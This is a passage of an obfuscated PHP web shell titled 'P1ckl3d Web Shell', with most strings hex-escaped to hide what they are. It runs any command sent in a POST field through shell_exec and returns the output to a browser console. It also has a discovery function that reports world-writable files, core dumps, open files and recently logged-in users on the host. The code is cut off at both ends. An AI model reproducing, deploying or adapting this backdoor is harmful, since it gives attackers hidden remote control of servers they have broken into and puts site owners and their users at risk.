/v\x61r/\x77ww"=>${${"\x47\x4c\x4fB\x41LS"}["dkbn\x66\x64\x6a\x64\x73\x6cs"]}["o\x75t\x70u\x74"],"\x52ecursive\x20D\x69r\x65c\x74o\x72\x79 \x4cis\x74i\x6eg\x20\x6ff H\x6f\x6de"=>${${"G\x4cO\x42A\x4c\x53"}["\x78hgd\x62bs\x72"]}["o\x75tp\x75t"],"Wor\x6c\x64-W\x72\x69\x74a\x62l\x65 Fil\x65\x73"=>${${"G\x4c\x4fB\x41\x4c\x53"}["\x6b\x63n\x64\x70lb"]}["\x6f\x75t\x70\x75t"],"\x43o\x72e Dum\x70s"=>${${"GL\x4f\x42\x41L\x53"}["\x74hm\x6b\x7a\x75\x64"]}["\x6fut\x70\x75\x74"],"Open \x46\x69\x6c\x65s"=>${$gnqfkcc}["\x6f\x75\x74\x70\x75\x74"],"\x4ca\x73\x74\x20\x4c\x6f\x67g\x65\x64 U\x73er\x73"=>${${"\x47\x4c\x4fB\x41L\x53"}["\x77\x6ffi\x6e\x63f\x75\x78\x74"]}["outp\x75\x74"],"C\x75rr\x65nt \x44\x69\x72\x65cto\x72y"=>$_SESSION["\x63\x75r\x72\x65\x6e\x74_\x64\x69re\x63t\x6f\x72\x79"]];echo json_encode(${${"\x47\x4c\x4fB\x41L\x53"}["b\x6c\x69\x75\x79\x73\x63"]});exit;}$gtddpfyfsn="\x64\x61\x74a";function executeCommand($command){$rxovgfs="c\x75\x72r\x65\x6e\x74\x5f\x64ire\x63\x74\x6f\x72\x79";$pvaybvfjyd="c\x6f\x6d\x6d\x61\x6e\x64";${$rxovgfs}=$_SESSION["\x63\x75\x72\x72e\x6e\x74_d\x69\x72\x65\x63\x74\x6f\x72\x79"];chdir(${${"G\x4cO\x42\x41\x4c\x53"}["wpy\x79\x6b\x6cch\x68e"]});if(substr(${$pvaybvfjyd},0,3)==="\x63\x64\x20"){${"\x47\x4cO\x42\x41\x4c\x53"}["f\x65\x70x\x67\x67\x67\x71"]="\x63\x6f\x6d\x6dand";${${"\x47L\x4f\x42\x41L\x53"}["\x79br\x6f\x6bpw\x79f"]}=trim(substr(${${"\x47L\x4fB\x41\x4c\x53"}["f\x65p\x78g\x67\x67q"]},3));if(chdir(${${"\x47\x4c\x4fB\x41\x4c\x53"}["\x79\x62r\x6fk\x70wy\x66"]})){$_SESSION["c\x75rr\x65nt_\x64ire\x63t\x6fry"]=getcwd();return["out\x70u\x74"=>"\x43ha\x6eg\x65\x64 di\x72e\x63\x74\x6f\x72\x79\x20to ".$_SESSION["\x63urr\x65\x6et\x5fdir\x65\x63to\x72y"],"di\x72ecto\x72y"=>$_SESSION["curre\x6e\x74\x5f\x64\x69\x72e\x63\x74\x6f\x72y"]];}else{${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6c\x67\x7au\x66vw"]="di\x72";return["out\x70u\x74"=>"Fai\x6ced \x74o c\x68\x61\x6e\x67e \x64\x69\x72e\x63\x74o\x72y \x74\x6f\x20".${${"\x47\x4c\x4f\x42A\x4cS"}["\x6c\x67zuf\x76\x77"]},"di\x72e\x63\x74\x6fr\x79"=>$_SESSION["c\x75r\x72\x65nt_\x64i\x72e\x63t\x6fry"]];}}else{$ctqxutspbtd="\x6fu\x74pu\x74";${"GL\x4f\x42A\x4c\x53"}["ed\x62\x78\x66\x67\x70"]="o\x75t\x70\x75\x74";$bpwhutupwx="\x63\x6f\x6d\x6dand";${${"G\x4cO\x42\x41LS"}["f\x75\x6eb\x68\x6e\x70\x77\x7ac\x65"]}=shell_exec(${$bpwhutupwx}." \x32>\x26\x31");$_SESSION["curr\x65n\x74_dir\x65\x63t\x6fr\x79"]=getcwd();return["ou\x74\x70\x75t"=>${${"G\x4cOB\x41LS"}["e\x64b\x78\x66\x67p"]}?${$ctqxutspbtd}:"\x43\x6fmmand\x20fa\x69\x6ce\x64","di\x72e\x63to\x72y"=>$_SESSION["\x63\x75r\x72\x65\x6e\x74_d\x69r\x65\x63\x74\x6fry"]];}}if(!isset($_SESSION["\x63ur\x72en\x74_\x64\x69\x72\x65\x63to\x72y"])){$_SESSION["c\x75rrent\x5fdir\x65\x63\x74o\x72y"]="/";}${${"\x47\x4c\x4f\x42\x41LS"}["\x77p\x79ykl\x63hhe"]}=$_SESSION["c\x75\x72\x72\x65n\x74_\x64i\x72e\x63t\x6fr\x79"];if(isset($_POST["\x63u\x73\x74o\x6dCo\x6dm\x61nd"])){$kglknofv="\x63\x75\x73t\x6f\x6d\x43\x6f\x6d\x6d\x61\x6e\x64";${$kglknofv}=$_POST["c\x75stomC\x6f\x6d\x6da\x6ed"];${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["v\x78es\x6c\x79\x77\x67\x75\x6a"]}=executeCommand(${${"\x47\x4cOB\x41\x4c\x53"}["\x71\x6b\x6flv\x77y\x6f"]});echo json_encode(${${"\x47\x4c\x4f\x42A\x4c\x53"}["v\x78\x65s\x6cy\x77g\x75\x6a"]});exit;}if(isset($_POST["\x67et\x43\x75\x72r\x65nt\x44ire\x63\x74or\x79"])){echo json_encode(["dire\x63\x74\x6f\x72\x79"=>${${"\x47L\x4fB\x41\x4c\x53"}["w\x70y\x79k\x6c\x63\x68\x68\x65"]}]);exit;}echo "\n\x3c\x21\x44OCTYP\x45 \x68\x74ml\x3e\n<h\x74\x6d\x6c\x3e\n\x3c\x68\x65ad>\n\x20 \x20\x20\x3c\x74\x69\x74l\x65\x3e\x50\x31ckl\x33\x64 \x57eb She\x6c\x6c\x3c/\x74\x69\x74l\x65>\n \x20\x20 <\x6ci\x6e\x6b\x20h\x72e\x66\x3d\"\x68tt\x70\x73://f\x6fn\x74\x73\x2e\x67\x6fo\x67\x6c\x65ap\x69\x73.c\x6f\x6d/\x63\x73s2?\x66a\x6dily=\x56T323&\x64\x69\x73play=\x73\x77\x61\x70\"\x20r\x65\x6c=\"\x73t\x79\x6c\x65\x73\x68\x65e\x74\">\n    <st\x79l\x65>\nb\x6fd\x79{\x62\x61\x63k\x67round-\x63\x6fl\x6f\x72:\x23\x32\x652e\x32\x65;\x63olor:#\x66f\x66;f\x6fn\x74-\x66\x61\x6d\x69\x6c\x79:\x41\x72i\x61l,s\x61ns-\x73\x65\x72i\x66}.c\x65nter{\x74\x65x\x74-\x61l\x69gn:\x63e\x6ete\x72}.\x6f\x75t\x70\x75\x74-c\x6fnt\x61\x69\x6eer{m\x61r\x67\x69\x6e-t\x6fp:20px;\x6d\x61x-\x77i\x64\x74h:\x360\x25;\x6d\x61\x72g\x69n-l\x65ft:\x61\x75t\x6f;\x6darg\x69\x6e-r\x69\x67\x68\x74:\x61\x75to\x3b\x74ext-a\x6c\x69g\x6e:l\x65\x66\x74}\x2e\x66orm-\x63\x6f\x6e\x74a\x69\x6ee\x72{\x64isplay:fle\x78;\x66l\x65\x78-d\x69\x72\x65\x63t\x69on:c\x6f\x6c\x75\x6dn\x3b\x61\x6c\x69\x67n-i\x74\x65m\x73:\x63e\x6et\x65\x72;\x6d\x61r\x67i\x6e-\x74o\x70:20px}\x69n\x70u\x74[\x74\x79\x70\x65\x3d\x22\x74ext\x22],\x69\x6epu\x74[\x74\x79p\x65=\x22num\x62\x65r\"]{\x77\x69\x64t\x68:\x360\x25\x3bpa\x64d\x69\x6e\x67:1\x30\x70x;\x66\x6f\x6et-\x73\x69z\x65:\x31\x36px;\x63o\x6cor:\x230f\x30\x3b\x62a\x63\x6bgr\x6fu\x6e\x64-col\x6f\x72:#3\x333\x3b\x62\x6frder:\x31\x70x\x20s\x6f\x6ci\x64 \x235\x35\x35\x3b\x62\x6fr\x64e\x72-\x72adiu\x73:5px;\x6dargin-bott\x6fm:\x31\x30p\x78}i\x6e\x70\x75t[typ\x65=\x22t\x65\x78\x74\x22]:focus,\x69\x6e\x70ut[\x74\x79p\x65\x3d\"n\x75\x6db\x65\x72\x22]:\x66\x6fcu\x73{out\x6c\x69\x6ee:\x32\x70x solid\x20\x23\x30f\x30}inp\x75\x74[ty\x70\x65\x3d\"\x73ubm\x69t\"],\x62\x75\x74\x74o\x6e{\x70a\x64d\x69\x6eg:\x310\x70x 2\x30p\x78;\x66\x6f\x6e\x74-s\x69\x7a\x65:16\x70x\x3bcolor:\x23ff\x66\x3b\x62\x61\x63\x6b\x67ro\x75\x6e\x64-\x63o\x6cor:#\x3555\x3b\x62o\x72d\x65r:\x6e\x6f\x6ee\x3bbor\x64\x65\x72-\x72adiu\x73:5px;\x63u\x72s\x6fr:\x70o\x69\x6e\x74e\x72;ma\x72\x67in:\x35\x70\x78}\x682{c\x75rso\x72:\x70o\x69nt\x65\x72;\x63\x6f\x6cor:#0\x66\x30}\x70\x72\x65{wh\x69\x74e-\x73p\x61ce:\x70\x72\x65-\x77ra\x70;\x77ord-\x77ra\x70:\x62\x72e\x61\x6b-\x77\x6fr\x64\x3bb\x61c\x6b\x67r\x6f\x75n\x64-c\x6f\x6cor:\x23\x31e1\x65\x31e\x3b\x70a\x64ding:1\x30px;\x62\x6fr\x64\x65\x72-r\x61\x64\x69\x75s:\x35px;\x62\x6fr\x64\x65r:\x31\x70x \x73o\x6c\x69d\x20#44\x34}\x2e\x63\x6f\x6c\x6caps\x65\x64::before{\x63\x6f\x6e\x74en\x74:'\x27\x3bd\x69\x73pl\x61\x79:\x69\x6el\x69n\x65-\x62l\x6f\x63\x6b\x3b\x6d\x61r\x67\x69n-r\x69\x67\x68\x74:5px}.e\x78\x70a\x6e\x64\x65d::\x62\x65f\x6f\x72\x65{\x63\x6fn\x74\x65nt:'▼'\x3bdi\x73\x70\x6c\x61\x79:i\x6el\x69\x6ee-blo\x63\x6b\x3bm\x61\x72\x67\x69n-r\x69\x67\x68\x74:5p\x78}\x681{fon\x74-family:\x27V\x543\x323',\x6d\x6fnospac\x65\x3b\x66\x6f\x6e\x74-\x73i\x7a\x65:\x33em}.\x73\x65\x70\x61\x72a\x74or{\x62\x6f\x72\x64\x65\x72:2px sol\x69d\x20#0f\x30\x3bmarg\x69n:\x320\x70x\x20\x30;\x6da\x78-w\x69\x64\x74h:6\x30%\x3b\x6d\x61\x72g\x69\x6e-\x6c\x65\x66\x74:auto\x3bm\x61r\x67\x69n-r\x69\x67ht:auto}\x2eb\x75\x74\x74\x6fns-con\x74\x61\x69ner{d\x69\x73play:flex;jus\x74i\x66\x79-co\x6eten\x74:c\x65nt\x65r}.b\x75\x72\x67\x65\x72-\x6d\x65n\x75{p\x6fs\x69tion:\x66\x69x\x65d\x3bt\x6f\x70:1\x30px\x3b\x72i\x67\x68t:1\x30px\x3bc\x75r\x73\x6fr:p\x6f\x69n\x74e\x72;\x7a-\x69nd\x65x:1000}\x2ebu\x72\x67er-\x6den\x75 \x64i\x76{\x77i\x64\x74h:\x32\x35p\x78\x3bh\x65\x69\x67ht:\x33\x70x;\x62\x61c\x6bg\x72\x6fund-\x63olor:\x23\x30f0;ma\x72\x67i\x6e:5p\x78;transition:.4\x73}.m\x65n\x75-\x63\x6fn\x74en\x74{d\x69\x73\x70\x6c\x61\x79:n\x6f\x6e\x65\x3bp\x6fs\x69tio\x6e:fix\x65d;t\x6f\x70:40\x70x\x3b\x72\x69\x67\x68\x74:10p\x78\x3bb\x61\x63kg\x72\x6f\x75\x6ed-col\x6f\x72:#2\x652e2e;b\x6f\x72\x64e\x72:1\x70x \x73\x6f\x6c\x69d #55\x35;\x70addin\x67:10px;\x62\x6frder-r\x61d\x69us:5px\x3b\x7a-\x69n\x64\x65\x78:\x31\x30\x30\x30}.m\x65\x6eu-\x63\x6f\x6e\x74\x65\x6et \x61{c\x6f\x6c\x6f\x72:\x23\x66\x66f\x3b\x70\x61d\x64i\x6eg:\x38\x70x\x20\x31\x32px\x3b\x74e\x78t-d\x65c\x6f\x72\x61tio\x6e:\x6e\x6f\x6e\x65;d\x69spl\x61y:\x62lock}.me\x6eu-\x63\x6fnt\x65\x6e\x74\x20a:\x68\x6fve\x72{\x62\x61\x63\x6b\x67\x72oun\x64-\x63ol\x6f\x72:\x23\x3555}.m\x6fdal{d\x69\x73\x70\x6cay:\x6eo\x6e\x65;\x70o\x73\x69\x74i\x6f\x6e:\x66i\x78ed\x3b\x74\x6f\x70:\x35\x30\x25;\x6ceft:5\x30\x25\x3b\x74\x72\x61\x6es\x66\x6f\x72m:\x74\x72a\x6eslate(-\x35\x30\x25,-50%);\x62ac\x6bg\x72\x6f\x75nd-\x63ol\x6f\x72:\x232e2e2e\x3b\x70\x61dd\x69\x6eg:20\x70x\x3bb\x6f\x72\x64e\x72-\x72\x61d\x69u\x73:5\x70\x78;b\x6f\x72\x64e\x72:1\x70\x78 \x73oli\x64 #\x3555\x3b\x7a-i\x6ed\x65x:200\x30}\x2e\x6d\x6fda\x6c-\x68e\x61d\x65r{\x64is\x70\x6ca\x79:f\x6ce\x78\x3b\x6aus\x74i\x66y-c\x6f\x6et\x65\x6et:\x73\x70a\x63e-b\x65t\x77\x65\x65n\x3b\x61lign-\x69\x74e\x6d\x73:cente\x72}.\x6d\x6fda\x6c-h\x65a\x64\x65r \x68\x32{m\x61rg\x69\x6e:0}.\x6d\x6f\x64a\x6c-bo\x64y{m\x61x-hei\x67\x68\x74:4\x30\x30px;\x6fv\x65r\x66l\x6f\x77-\x79:a\x75\x74\x6f\x3bma\x72g\x69n-\x74\x6f\x70:\x310px}\x2e\x6dodal-\x62o\x64y\x20u\x6c{\x6ci\x73\x74-\x73tyle:non\x65;p\x61\x64\x64\x69\x6eg:0}.m\x6f\x64a\x6c-b\x6fdy\x20\x6c\x69{\x70\x61d\x64ing:5\x70\x78;\x63\x75\x72\x73o\x72:\x70oi\x6eter}\x2e\x6dodal-b\x6f\x64y\x20\x6c\x69:\x68\x6f\x76\x65\x72{backg\x72\x6f\x75n\x64-co\x6c\x6f\x72:#\x355\x35}\x2ecl\x6f\x73e-butto\x6e{cu\x72so\x72:\x70\x6fin\x74e\x72\x3b\x62\x61\x63kgro\x75\x6e\x64-co\x6cor:#5\x355\x3bc\x6f\x6cor:\x23fff\x3b\x62\x6f\x72d\x65\x72:n\x6f\x6e\x65;pad\x64i\x6eg:5\x70\x78 10p\x78\x3b\x62o\x72de\x72-r\x61d\x69\x75\x73:5p\x78}#scrip\x74\x46i\x6c\x65In\x70\x75\x74{\x64\x69sp\x6c\x61y:n\x6fn\x65}\n\x20 \x20 \x3c/\x73t\x79l\x65>\n\x20   \x3c\x73c\x72ip\x74\x3e\n\x20  \x20\x20 \x20 \x66unctio\x6e \x67et\x53\x63rip\x74\x4eame()\x20{\n \x20  \x20\x20\x20\x20\x20\x20\x20\x20co\x6e\x73t \x73c\x72\x69pt\x73\x20\x3d docum\x65\x6e\x74.\x67e\x74\x45l\x65\x6d\x65\x6e\x74s\x42y\x54\x61\x67Na\x6de('\x73\x63\x72\x69\x70\x74\x27);\n\x20    \x20  \x20\x20\x20\x20\x72e\x74\x75rn\x20scr\x69\x70\x74\x73[\x73\x63\x72ipt\x73.\x6ce\x6e\x67\x74h -\x20\x31].\x73\x72\x63\x2esp\x6cit(\x27/\x27)\x2ep\x6f\x70()\x3b\n \x20\x20 \x20 \x20\x20}\n\n \x20 \x20\x20 \x20 \x66\x75n\x63\x74\x69on \x72\x75nCu\x73\x74o\x6dC\x6f\x6d\x6d\x61n\x64()\x20{\n      \x20\x20\x20   \x63o\x6e\x73\x74\x20c\x6f\x6dma\x6ed \x3d do\x63\x75ment\x2eget\x45\x6c\x65\x6d\x65\x6etById(\x27cu\x73to\x6d\x43\x6fmma\x6e\x64\x27).va\x6cue;\n\x20\x20\x20      \x20\x20\x20\x63\x6fn\x73\x74 \x73c\x72i\x70\x74N\x61m\x65\x20=\x20\x67\x65\x74Scri\x70tN\x61\x6d\x65()\x3b\n   \x20  \x20  \x20\x20\x20\x63\x6f\x6est\x20\x78\x68r \x3d new X\x4dLH\x74\x74\x70\x52eq\x75\x65st();\n\x20\x20 \x20 \x20\x20 \x20 \x20 \x78hr.\x6fpe\x6e(\x27\x50\x4f\x53T\x27, scri\x70tNa\x6d\x65,\x20tru\x65);\n   \x20\x20\x20      x\x68\x72\x2e\x73etRe\x71\x75est\x48\x65\x61d\x65r(\x27Co\x6e\x74en\x74-\x54y\x70e',\x20\x27\x61\x70pl\x69\x63\x61\x74\x69o\x6e/\x78-\x77w\x77-f\x6frm-\x75\x72\x6ce\x6e\x63oded\x27)\x3b\n \x20\x20 \x20\x20  \x20\x20 \x20\x78\x68\x72.o\x6er\x65\x61\x64\x79s\x74\x61\x74e\x63\x68\x61n\x67\x65\x20= \x66\x75n\x63\x74ion ()\x20{\n  \x20\x20  \x20  \x20 \x20\x20 \x20\x20i\x66\x20(\x78\x68\x72.rea\x64\x79\x53t\x61\x74e \x3d\x3d\x204\x20&\x26 x\x68\x72.s\x74a\x74\x75\x73\x20\x3d\x3d\x202\x30\x30) {\n\x20\x20\x20 \x20 \x20  \x20  \x20\x20    \x20\x20\x63\x6f\x6est r\x65sp\x6fn\x73\x65 =\x20\x4aSO\x4e\x2ep\x61\x72\x73\x65(xhr\x2e\x72es\x70\x6f\x6es\x65T\x65\x78\x74)\x3b\n  \x20\x20\x20\x20  \x20\x20  \x20       \x63\x6fns\x74\x20c\x6f\x6d\x6da\x6edO\x75\x74put\x20=\x20do\x63um\x65\x6e\x74.cre\x61\x74\x65\x45\x6c\x65\x6d\x65\x6et(\x27\x64iv');\n\x20\x20 \x20\x20    \x20  \x20\x20\x20  \x20\x20 \x63om\x6da\x6e\x64O\x75t\x70u\x74\x2e\x69\x6en\x65\x72\x48\x54\x4dL\x20\x3d '<h\x32\x20\x63l\x61s\x73\x3d\"ex\x70anded\x22\x20\x6fn\x63lick\x3d\x22to\x67\x67l\x65Vis\x69\x62i\x6c\x69t\x79(\x74\x68is\x2e\x6e\x65\x78tE\x6c\x65m\x65ntSibli\x6eg)\">'\x20+\x20comma\x6ed\x20+ \x27\x3c/\x68\x32><\x70\x72\x65>'\x20+\x20re\x73pon\x73\x65.o\x75t\x70\x75\x74\x20+\x20\x27\x3c/\x70r\x65\x3e'\x3b\n\x20\x20\x20\x20\x20  \x20 \x20\x20 \x20   \x20\x20\x20\x20c\x6fns\x74\x20o\x75\x74pu\x74Con\x74ainer =\x20doc\x75\x6de\x6et\x2e\x67e\x74\x45leme\x6et\x42\x79\x49\x64('\x63us\x74o\x6dComm\x61n\x64\x4f\x75\x74p\x75t');\n  \x20 \x20   \x20   \x20 \x20\x20  \x20\x20\x6fu\x74\x70\x75t\x43\x6f\x6et\x61\x69n\x65r\x2einse\x72t\x42\x65\x66or\x65(\x63\x6fm\x6d\x61\x6ed\x4futp\x75t, \x6futp\x75\x74Co\x6e\x74\x61\x69\x6ee\x72\x2efi\x72s\x74\x43\x68\x69l\x64)\x3b\n\n\x20\x20\x20    \x20\x20   \x20\x20\x20\x20    // U\x70\x64\x61t\x65 \x74\x68\x65 \x63\x75r\x72\x65n\x74\x20di\x72\x65ctor\x79\n     \x20\x20\x20  \x20 \x20\x20 \x20\x20\x20\x20 \x64o\x63um\x65\x6et.g\x65tE\x6ce\x6de\x6et\x42\x79I\x64(\x27c\x75r\x72e\x6e\x74\x44\x69\x72e\x63tor\x79\x27)\x2e\x69n\x6eerTex\x74 \x3d\x20\x72\x65s\x70on\x73\x65.dir\x65ct\x6f\x72y;\n\x20 \x20\x20 \x20\x20      \x20\x20\x20}\n\x20  \x20    \x20\x20  };\n     \x20\x20\x20\x20  \x20\x78\x68r\x2e\x73e\x6ed('\x63\x75\x73\x74\x6fm\x43\x6fm\x6dand\x3d' +\x20\x65nco\x64\x65\x55R\x49\x43omponen\x74(comman\x64));\n\x20\x20\x20   \x20\x20 \x20 \x20d\x6fcu\x6d\x65n\x74\x2eg\x65\x74\x45leme\x6e\x74\x42\x79\x49d('\x63\x75\x73\x74omCo\x6dm\x61\x6e\x64').\x76\x61lue \x3d '';\n \x20\x20 \x20 \x20\x20\x20   \x72\x65\x74u\x72\x6e\x20fals\x65\x3b // P\x72\x65\x76e\x6e\x74 \x66orm\x20\x73ub\x6di\x73s\x69on\n\x20  \x20  \x20\x20}\n\n   \x20\x20\x20  \x66\x75nct\x69\x6f\x6e \x72\x75nDi\x73co\x76e\x72\x79() {\n  \x20 \x20\x20  \x20\x20\x20\x20\x63\x6f\x6es\x74\x20\x73c\x72iptN\x61m\x65 = get\x53\x63\x72\x69ptNam\x65();\n\x20\x20\x20  \x20 \x20 \x20 \x20co\x6e\x73\x74\x20\x78h\x72 =\x20\x6ee\x77\x20X\x4d\x4cHt\x74\x70R\x65q\x75e\x73t()\x3b\n   \x20 \x20   \x20 \x20\x78\x68\x72.o\x70e\x6e('PO\x53T',\x20s\x63r\x69\x70\x74Na\x6de, true)\x3b\n\x20\x20 \x20     \x20\x20 \x78\x68r.se\x74\x52e\x71u\x65s\x74H\x65\x61\x64\x65r('\x43ontent-\x54yp\x65\x27,\x20\x27a\x70p\x6ci\x63\x61\x74io\x6e/\x78-w\x77w-f\x6fr\x6d-u\x72lenc\x6fd\x65d')\x3b\n    \x20\x20\x20\x20 \x20  \x78hr.\x6f\x6ere\x61\x64ystatecha\x6ege \x3d \x66uncti\x6f\x6e\x20()\x20{\n\x20\x20\x20\x20 \x20 \x20 \x20  \x20 \x20\x20if\x20(\x78hr.\x72e\x61\x64\x79\x53ta\x74\x65 == 4\x20\x26\x26 \x78h\x72.st\x61\x74\x75s\x20== 2\x30\x30) {\n  \x20 \x20\x20 \x20\x20 \x20\x20 \x20  \x20\x20 \x20c\x6f\x6e\x73\x74 \x72e\x73\x70o\x6ese\x20= \x4aS\x4f\x4e.pa\x72\x73\x65(\x78h\x72\x2ere\x73po\x6e\x73\x65\x54\x65x\x74)\x3b\n \x20 \x20   \x20\x20\x20\x20\x20  \x20  \x20 \x20c\x6fn\x73t\x20\x64\x69sco\x76\x65ryOu\x74\x70\x75t =\x20\x64\x6f\x63\x75\x6d\x65nt.g\x65tE\x6cemen\x74ByI\x64(\x27discove\x72yO\x75\x74pu\x74\x27);\n\x20\x20\x20 \x20  \x20\x20 \x20 \x20 \x20 \x20\x20\x20 \x64\x69sco\x76\x65\x72\x79O\x75\x74\x70u\x74.inne\x72HTM\x4c\x20= \x27';\n\n \x20 \x20\x20\x20 \x20\x20\x20 \x20 \x20\x20 \x20\x20  f\x6fr (\x63\x6f\x6es\x74\x20[ke\x79,\x20val\x75\x65]\x20o\x66\x20\x4f\x62\x6aect.en\x74rie\x73(r\x65\x73\x70on\x73e)) {\n\x20 \x20   \x20\x20 \x20\x20 \x20  \x20  \x20 \x20\x20\x20\x20i\x66\x20(\x6b\x65y\x20!\x3d\x3d\x20\x27Cur\x72\x65\x6et \x44i\x72e\x63tor\x79\x27) {\n    \x20\x20    \x20 \x20\x20\x20\x20  \x20\x20 \x20   \x20  \x63\x6fn\x73\x74 \x68\x65\x61\x64e\x72\x20\x3d\x20\x64\x6fcu\x6d\x65n\x74.c\x72\x65a\x74\x65El\x65me\x6e\x74(\x27h\x32\x27);\n\x20\x20   \x20\x20\x20 \x20 \x20 \x20\x20\x20    \x20\x20 \x20\x20\x20\x20\x20he\x61\x64\x65\x72.cla\x73sL\x69st\x2e\x61d\x64(\x27c\x6f\x6cl\x61\x70\x73ed\x27);\n \x20 \x20 \x20  \x20\x20     \x20\x20\x20      \x20  \x20h\x65ade\x72\x2ei\x6e\x6e\x65\x72\x54e\x78t =\x20k\x65y;\n \x20\x20\x20 \x20 \x20\x20\x20\x20\x20\x20  \x20\x20   \x20   \x20 \x20 \x68\x65\x61\x64e\x72.o\x6ec\x6ci\x63k\x20= fun\x63t\x69o\x6e()\x20{\n   \x20 \x20\x20\x20\x20   \x20\x20  \x20 \x20 \x20\x20\x20\x20\x20  \x20\x20   togg\x6c\x65V\x69\x73\x69\x62ilit\x79(th\x69s\x2e\x6ee\x78t\x45l\x65m\x65\x6et\x53i\x62\x6c\x69n\x67)\x3b\n\x20       \x20\x20\x20\x20 \x20\x20\x20   \x20  \x20\x20\x20\x20\x20\x20}\x3b\n   \x20     \x20\x20\x20 \x20\x20\x20  \x20\x20  \x20\x20 \x20\x20 \x63\x6f\x6e\x73\x74 p\x72\x65\x20\x3d \x64o\x63ume\x6e\x74.\x63r\x65\x61te\x45\x6c\x65\x6de\x6et('p\x72\x65\x27)\x3b\n \x20\x20\x20\x20\x20      \x20\x20  \x20 \x20\x20\x20 \x20\x20\x20\x20\x20\x20\x70\x72e\x2esty\x6c\x65\x2ed\x69splay\x20= \x27none\x27;\n \x20    \x20\x20 \x20 \x20 \x20 \x20\x20  \x20   \x20    \x70\x72e.\x69n\x6eer\x54e\x78t\x20\x3d value;\n \x20 \x20 \x20 \x20 \x20\x20\x20\x20 \x20  \x20 \x20\x20 \x20 \x20 \x20\x20\x64isc\x6fve\x72y\x4fut\x70\x75\x74\x2eappen\x64C\x68i\x6c\x64(\x68\x65\x61\x64e\x72);\n  \x20  \x20\x20\x20\x20 \x20 \x20  \x20   \x20   \x20\x20\x20\x20 \x64i\x73c\x6f\x76ery\x4f\x75\x74p\x75\x74.a\x70p\x65ndC\x68\x69\x6c\x64(pr\x65);\n\x20 \x20\x20 \x20\x20  \x20\x20  \x20\x20\x20\x20\x20\x20\x20  \x20 }\x20\x65ls\x65 {\n \x20\x20  \x20\x20   \x20\x20\x20 \x20\x20\x20\x20\x20  \x20 \x20\x20 \x20 do\x63u\x6d\x65\x6et.\x67e\x74\x45\x6ce\x6d\x65\x6e\x74B\x79I\x64('c\x75\x72rentDi\x72\x65c\x74\x6f\x72y\x27).\x69\x6e\x6e\x65\x72\x54\x65\x78\x74 =\x20v\x61\x6cue;\n\x20\x20\x20   \x20\x20\x20\x20\x20  \x20\x20   \x20 \x20\x20  }\n\x20\x20  \x20\x20\x20  \x20 \x20 \x20\x20  \x20\x20 }\n\n\x20\x20     \x20 \x20\x20 \x20     \x20\x20//\x20F\x61d\x65 o\x75t\x20th\x65\x20\x52u\x6e Di\x73cov\x65r\x79 menu\x20item\n   \x20\x20 \x20\x20\x20\x20   \x20  \x20   con\x73\x74 \x72u\x6e\x44i\x73\x63ov\x65ry\x4c\x69\x6e\x6b\x20\x3d\x20\x64oc\x75\x6d\x65\x6e\x74.q\x75eryS\x65\x6c\x65\x63t\x6f\x72(\x27\x23m\x65\x6eu\x43\x6fn\x74\x65\x6e\x74 \x61[\x64at\x61-\x61ctio\x6e=\"run\x44i\x73c\x6f\x76\x65\x72\x79\"]\x27);\n  \x20\x20\x20   \x20   \x20 \x20\x20   \x20r\x75nDi\x73\x63ove\x72\x79L\x69\x6ek\x2e\x73\x74\x79\x6ce.\x6fp\x61\x63it\x79\x20\x3d\x20\x270\x2e5';\n\x20\x20      \x20 \x20\x20 \x20  \x20 \x20\x20r\x75n\x44\x69sc\x6f\x76\x65ryLin\x6b\x2e\x73\x74y\x6c\x65\x2e\x70o\x69\x6et\x65\x72E\x76\x65\x6e\x74\x73\x20\x3d \x27\x6eone';\n\x20\x20\x20  \x20 \x20\x20\x20      }\n \x20\x20\x20 \x20  \x20\x20 \x20};\n\x20  \x20  \x20\x20\x20\x20\x20 \x78h\x72.\x73\x65n\x64(\x27\x72unDi\x73cov\x65\x72\x79\x3d\x74r\x75e')\x3b\n  \x20\x20   \x20}\n\n\x20 \x20   \x20 \x66\x75\x6e\x63\x74\x69on\x20togg\x6c\x65V\x69\x73\x69\x62\x69\x6c\x69t\x79(\x65\x6ce\x6dent)\x20{\n     \x20\x20\x20\x20   if\x20(eleme\x6et.\x73\x74\x79le\x2edi\x73\x70la\x79\x20=\x3d= '\x6eone\x27)\x20{\n  \x20   \x20\x20 \x20\x20 \x20   \x65\x6ce\x6dent.\x73\x74\x79\x6c\x65\x2edi\x73\x70l\x61\x79\x20\x3d \x27bl\x6fck';\n \x20\x20\x20   \x20\x20 \x20 \x20  \x20\x65\x6ce\x6den\x74.pr\x65viou\x73E\x6c\x65\x6d\x65\x6etS\x69\x62l\x69\x6eg\x2e\x63\x6c\x61s\x73\x4ea\x6de\x20\x3d 'expand\x65d\x27\x3b\n   \x20 \x20 \x20 \x20 \x20} el\x73\x65 {\n\x20\x20  \x20 \x20\x20 \x20\x20   \x20 e\x6c\x65m\x65nt\x2e\x73ty\x6ce\x2ed\x69\x73p\x6c\x61y =\x20'\x6eo\x6e\x65';\n\x20   \x20 \x20        \x20\x65\x6c\x65\x6d\x65nt\x2ep\x72\x65\x76i\x6fus\x45le\x6d\x65\x6e\x74\x53i\x62\x6ci\x6e\x67.cl\x61ssN\x61m\x65 = 'c\x6f\x6cla\x70\x73ed\x27\x3b\n\x20\x20\x20 \x20\x20\x20\x20  \x20 }\n   \x20 \x20 \x20}\n\n\x20 \x20 \x20\x20\x20 fun\x63\x74i\x6fn\x20u\x70\x64ateC\x75r\x72\x65\x6et\x44\x69\x72ec\x74or\x79()\x20{\n\x20\x20  \x20\x20\x20\x20\x20   \x63on\x73t\x20\x73\x63\x72\x69\x70\x74\x4eame =\x20ge\x74S\x63riptNa\x6de();\n   \x20  \x20    \x20co\x6e\x73\x74\x20xhr = new XML\x48\x74\x74\x70R\x65\x71ues\x74()\x3b\n \x20  \x20  \x20\x20\x20  xhr\x2eo\x70en('\x50OST',\x20\x73c\x72ipt\x4e\x61\x6d\x65,\x20t\x72ue);\n \x20\x20\x20  \x20\x20  \x20 x\x68\x72\x2e\x73\x65\x74\x52equ\x65\x73\x74H\x65\x61der(\x27Con\x74\x65\x6et-\x54\x79pe\x27, \x27ap\x70lic\x61t\x69\x6f\x6e/\x78-\x77\x77w-\x66o\x72\x6d-\x75r\x6cencod\x65d\x27)\x3b\n  \x20 \x20\x20   \x20 \x20\x78\x68r\x2e\x6f\x6e\x72ea\x64y\x73\x74a\x74\x65\x63h\x61nge 